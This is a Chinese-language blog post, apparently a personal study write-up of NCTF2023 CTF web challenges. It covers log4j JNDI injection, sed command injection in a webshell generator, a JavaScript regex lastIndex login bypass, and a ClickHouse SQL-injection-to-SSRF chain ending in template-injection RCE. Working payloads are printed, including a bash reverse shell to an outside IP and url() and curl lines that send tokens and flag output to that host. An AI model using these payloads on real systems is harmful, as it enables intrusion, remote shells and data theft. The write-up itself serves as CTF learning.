Z1d10tのBlog

A note for myself,have fun!

  1. 1. logging
  2. 2. Webshell Generator
  3. 3. Wait What
  4. 4. ez_wordpress
  5. 5. EvilMQ
  6. 6. house of click
    1. 6.1. 拿token
    2. 6.2. insert上传文件
  7. 7. 总结
  8. 8. 参考:

NCTF2023学习

logging

考点:

  • log4j

进入界面啥也没有

img

根据题目提示可能考的是log4j,既然知道了那么JNDI的注入点应该在哪里呢

那只有试试请求头参数了

当试到Accept请求头时候,出现了406响应码

Accept 头, 如果 mine type 类型不对控制台会调用 logger 输出日志,还有 Host 头, 但是只能用一次, 第二次往后就不能再打印日志了

img

HTTP 406状态码是指”不可接受”(Not Acceptable)。服务器收到的请求中包含了一个或多个要求资源的表示形式,但服务器无法生成与请求中所述的任何形式相匹配的响应。这意味着服务器无法提供与请求的Accept标头中指定的格式相匹配的响应。

这里存在JNDI注入点

进一步测试

发现确实存在 并且是出网的

img

那么我们起一个LDAP服务 带一个反弹shell的恶意类即可

img

推荐项目:https://github.com/WhiteHSBG/JNDIExploit

img

Webshell Generator

点击下载我们的webshel之后,抓包

img

发现路由重定向 一眼丁真这里可能存在路径穿越img

可以

img

根目录flag文件不是/flag 并且环境变量中的flag也被删了

还是老老实实来分析 首先看看index.php和 download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/download.php?file=/tmp/../../../var/www/html/index.php&filename=
<?php
function security_validate()
{
foreach ($_POST as $key => $value) {
if (preg_match('/\r|\n/', $value)) {
die("$key 不能包含换行符!");
}
if (strlen($value) > 114) {
die("$key 不能超过114个字符!");
}
}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
if ($_POST['language'] !== 'PHP') {
die("PHP是最好的语言");
}
$method = $_POST['method'];
$key = $_POST['key'];
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");
if (!$filename) {
die("生成失败了!");
}
$filename = trim($filename);
header("Location: download.php?file=$filename&filename={$_POST['filename']}");
exit();
}
?>
<?php

if(isset($_GET['file']) && isset($_GET['filename'])){
$file = $_GET['file'];
$filename = $_GET['filename'];
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=$filename");
readfile($file);
exit();
}

index.php通过$filename = shell_exec("sh generate.sh");来帮我们生成文件名

读来看看generate.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

可以看到我们输入的方法和webshell密码都会被导出到环境变量中 然后sh脚本文件会从环境变量中读入我们的方法和webshell密码然后拼接到sed命令中

那么这里可能存在shell命令注入 但是不行 只能展开为单个参数

查看sed命令选项 发现-e可以执行系统命令

img

根据man手册[https://www.gnu.org/software/sed/manual/sed.html#sed-script-overview:~:text=can%20be%20separated%20by%20semicolons%20(%3B)](https://www.gnu.org/software/sed/manual/sed.html#sed-script-overview:~:text=can be separated by semicolons (%3B))

sed指令可以通过换行符分隔,也可以通过;分隔。

img

我们的payload:

1
2
3
123/g;e bash -c "bash -i >& /dev/tcp/124.221.177.174/7777 0>&1";
会被拼接为:
sed -i "s/METHOD/123/g;e bash -c "bash -i >& /dev/tcp/124.221.177.174/7777 0>&1";/g" "$NEW_FILENAME"

img

成功

img

Wait What

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
const express = require('express');
const child_process = require('child_process')
const app = express()
app.use(express.json())
const port = 80

function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

let users = {
"admin": "admin",
"user": "user",
"guest": "guest",
'hacker':'hacker'
}

let banned_users = ['hacker']

// 你不准getflag
banned_users.push("admin")

let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

//鉴权中间件
function requireLogin(req, res, next) {
let username = req.body.username
let password = req.body.password
if (!username || !password) {
res.send("用户名或密码不能为空")
return
}
if (typeof username !== "string" || typeof password !== "string") {
res.send("用户名或密码不合法")
return
}
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")
}

function registerUser(username, password) {
if (typeof username !== "string" || username.length > 20) {
return "用户名不合法"
}
if (typeof password !== "string" || password.length > 20) {
return "密码不合法"
}
if (username in users) {
return "用户已存在"
}

for(let existing_user in users){
let existing_user_password = users[existing_user]
if (existing_user_password === password){
return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`
}
}

users[username] = password
return "注册成功"
}

app.use(express.static('public'))

// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

app.post("/api/register", (req, res) => {
let username = req.body.username
let password = req.body.password
let message = registerUser(username, password)
res.send(message)
})

app.post("/api/login", requireLogin, (req, res) => {
res.send("登录成功!")
})

app.post("/api/flag", requireLogin, (req, res) => {
let username = req.body.username
if (username !== "admin") {
res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'")
return
}
let flag = child_process.execSync("cat flag").toString()
res.end(flag)
console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!")
res.on("finish", () => {
setTimeout(() => { process.exit(0) }, 1)
})
return
})

app.post('/api/ban_user', requireLogin, (req, res) => {
let username = req.body.username
let ban_username = req.body.ban_username
if(!ban_username){
res.send("ban_username不能为空")
return
}
if(username === ban_username){
res.send("不能封禁自己")
return
}
for (let name of banned_users){
if (name === ban_username) {
res.send("用户已经被封禁")
return
}
}
banned_users.push(ban_username)
res.send("封禁成功!")
})



app.get("/", (req, res) => {
res.redirect("/static/index.html")
})

app.listen(port, () => {
console.log(`listening on port ${port}`)
})

最主要的逻辑代码是鉴权中间件这块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//鉴权中间件
function requireLogin(req, res, next) {
let username = req.body.username
let password = req.body.password
if (!username || !password) {
res.send("用户名或密码不能为空")
return
}
if (typeof username !== "string" || typeof password !== "string") {
res.send("用户名或密码不合法")
return
}
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")
}

我们想拿到flag 就需要鉴权以admin身份登录 但是每次鉴权之前banned_users.push("admin")都会执行这条语句把admin给ban了 无法以admin身份登录

test1是关于正则的鉴权,来看看正则

1
2
3
4
5
6
7
8
9
10
11
12
13
function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
/.../
let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

遍历封禁用户的数组,以^admin$|^hacker$|的形式,用g全局匹配返回一个正则表达式

img

这里有一个trick就是RegExp.lastIndex的使用,当它开启g属性的时候,lastIndex会起作用,它用于表示从哪一个位置开始进行匹配

有两种情况:

  1. 当regexp.test匹配成功,lastIndex会被设置为最近匹配成功的下一个位置
  2. 当regexp.test匹配失败,lastIndex被设置为0

img

那么第一段鉴权:

每次请求都会通过build_banned_users_regex()生成一个新的正则表达式使得每次匹配都从lastIndex=0开始,如果能够在第一次匹配到admin使得lastIndex索引变成5之后,第二次没有生成新的就匹配,那么就成功绕过了第一层的鉴权,而这里是使用try-catch进行处理的,即使抛出异常,程序也不会中断。所以可以使用其它类型的ban_username,就会抛出TypeError异常,从而不生成新的lastIndex,绕过第一层。

再来看test2 其实这里in关键字只存在于python

而在js中的用法:用于检查对象是否具有指定属性或者原型链中是否存在指定的属性

img

由于 banned_users 为 Array 类型,不存在 admin 属性,因此 test2 实际上判断的是banned_users中是否存在数组索引为username的值(由于对象的属性名称会被隐式转换为字符串,”0”和0都可以作为数组索引)

现在的问题是每次在请求时都会创建一个新的 banned_users_regex ,恢复其 lastIndex 位置为初始值0

如果我们能在新的regex对象赋值之前,抛出异常来绕过 regex 的更新,那么就可以了

传入 escapeRegExp(string) 函数中的 string 参数为非字符串类型

则string不存在 replace 属性,会抛出TypeError,以此来绕过 regex 的更新

首先我们注册一个账号然后使用封禁路由

push一个对象类型,此时就会报错抛异常,bypass lastIndex的重制

img

然后用admin登录 第一次会被正则到使得lastIndex为5

第二次admin登录则不会被正则 此时从第五个字符开始正则

调试可以观察到:

这次的banned_users_regex.lastIndex并没有被重制

img

第二次登录就会拿到flag

img

ez_wordpress

环境不太对劲 wpscan扫出来的洞和其他师傅wp不一样 太诡异了 可能是我自己环境搭的有问题。。。

是phar+文件上传+ssrf的组合拳

可看X1r0z师傅的官方wphttps://hackforfun.feishu.cn/wiki/VkHiwiuHziepynkZuGlcp0fEnTd

EvilMQ

先等等

house of click

搭环境这里遇到了问题,有时候docker-compose up -d会报错,拉不到镜像,这里建议换源清华的镜像可以解决这个问题

这个题就是纯是学习了 压根没见过

给了源码:

可以看到是有四个路由的但是进入题目环境之后只有nginx的页面 也访问不到路由

大致看源码思路就是通过sql注入拿到token,然后再拿着token去文件上传,然后文件上传也有路径穿越因为直接通过os.path.join拼接文件名,穿越到模板文件目录直接访问index进行ssti。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import clickhouse_connect
import ipaddress
import web
import os

with open('.token', 'r') as f:
TOKEN = f.read()

urls = (
'/', 'Index',
'/query', 'Query',
'/api/ping', 'Ping',
'/api/token', 'Token',
'/api/upload', 'Upload',
)

render = web.template.render('templates/')


def check_ip(ip, ip_range):
return ipaddress.ip_address(ip) in ipaddress.ip_network(ip_range)


class Index:
def GET(self):
return render.index()

def POST(self):
data = web.input(name='index')
return render.__getattr__(data.name)()


class Query:
def POST(self):
data = web.input(id='1')

client = clickhouse_connect.get_client(host='db', port=8123, username='default', password='default')
sql = 'SELECT * FROM web.users WHERE id = ' + data.id
client.command(sql)
client.close()

return 'ok'


class Ping:
def GET(self):
return 'pong'


class Token:
def GET(self):
ip = web.ctx.env.get('REMOTE_ADDR')
if not check_ip(ip, '172.28.0.0/16'):
return 'forbidden'
return TOKEN


class Upload:
def POST(self):
ip = web.ctx.env.get('REMOTE_ADDR')
token = web.ctx.env.get('HTTP_X_ACCESS_TOKEN')

if not check_ip(ip, '172.28.0.0/16'):
return 'forbidden'
if token != TOKEN:
return 'unauthorized'

files = web.input(myfile={})
if 'myfile' in files:
filepath = os.path.join('upload/', files.myfile.filename)
if (os.path.isfile(filepath)):
return 'error'
with open(filepath, 'wb') as f:
f.write(files.myfile.file.read())
return 'ok'


app = web.application(urls, globals())
application = app.wsgifunc(web.httpserver.StaticMiddleware)

根据X1r0z师傅的WP

思路:

  1. nginx + gunicorn 路径绕过
  2. ClickHouse SQL 盲注打 SSRF
  3. web.py 上传时的目录穿越 + Templetor SSTI 实现 RCE

首先是nginx + gunicorn 路径绕过

参考:

https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g

https://github.com/CHYbeta/OddProxyDemo/blob/master/nginx/demo1/README.md

首先需要知道什么是gunicorn 直接拷打gpt

img

payload:POST /query HTTP/1.1/../../api/ping HTTP/1.1

img

发现query路由下存在sql注入,不过这里不是mysql了,而是clickhouse数据库

接下来是ssrf

查阅官方文档发现有个url函数https://clickhouse.com/docs/zh/sql-reference/table-functions/url

发送post请求上传文件需要insert,这里没法进行堆叠注入

clickhouse自己有个HTTP Interface 通过它可以实现GET请求insert语句

先ssrf自身的HTTP interface然后再去ssrf到backendhttps://clickhouse.com/docs/zh/interfaces/http

1
id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=<SQL>', 'TabSeparatedRaw', 'x String'))

TabSeparatedRaw表示返回的数据采用制表符分隔的原始数据格式

x String表示外部查询返回的数据类型为字符串

接下里的思路就是先select拿到token然后套一个url函数将token编码后外带

接着insert发送post请求上传文件到backend

index留了POST方法用于渲染其他模板 就可以通过路径穿越将文件上传至templates目录然后 render这个模板 实现SSTI

拿token

1
id=1 AND (SELECT * FROM url('http://124.221.177.174:6666/?a='||hex((select * FROM url('http://backend:8001/api/token', 'TabSeparatedRaw', 'x String'))), 'TabSeparatedRaw', 'x String'));

img

拿到token:38ad6332afaa1e3fc75f6a6b60cdd909

insert上传文件

payload:

1
id=1 and (select * from url('http://172.16.106.1:8123/?query=insert into function url('http://backend:8001/api/upload','TabSeparatedRaw', 'a String',headers('Content-Type'='multipart/form-data; boundary=----test','X-Access-Token'='38ad6332afaa1e3fc75f6a6b60cdd909')) Values(' ------test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/exp.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n	__import__(\'os\').system(\'curl http://124.221.177.174:7777/?flag=`/readflag | base64`\')\r\n------test--');',CSV,'a String'))

内容是最简洁的上传一个文件的请求头和请求体

img

img

可见我们的文件已经被上传了

img

这里需要注意的是后端接受表单的名称为myfile而不是file,还有就是根据给的附件nginx.conf上传upload时候nginx反向代理location内网端口为8001

img

接着到index render test.html实现RCE

img

拿到flag

img

总结

做X1r0z师傅出的题总能学到不少知识,而且赛后还给复现环境的dockerfile,很难不爱!!

看官方文档的能力真的很重要,基本功同样重要!!!

java继续探索!

参考:

https://exp10it.io/2023/12/nctf-2023-web-official-writeup/#logging

[https://boogipop.com/2023/12/28/NCTF%202023%20Web%20Writeup(Post-Match)/#house-of-click](https://boogipop.com/2023/12/28/NCTF 2023 Web Writeup(Post-Match)/#house-of-click)

https://xz.aliyun.com/t/13536?time__1311=mqmxnQiQi%3DFqlxGgpDyeXvB%2BDIOxGwD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13536#toc-4

本文最后更新于 天前,文中所描述的信息可能已发生改变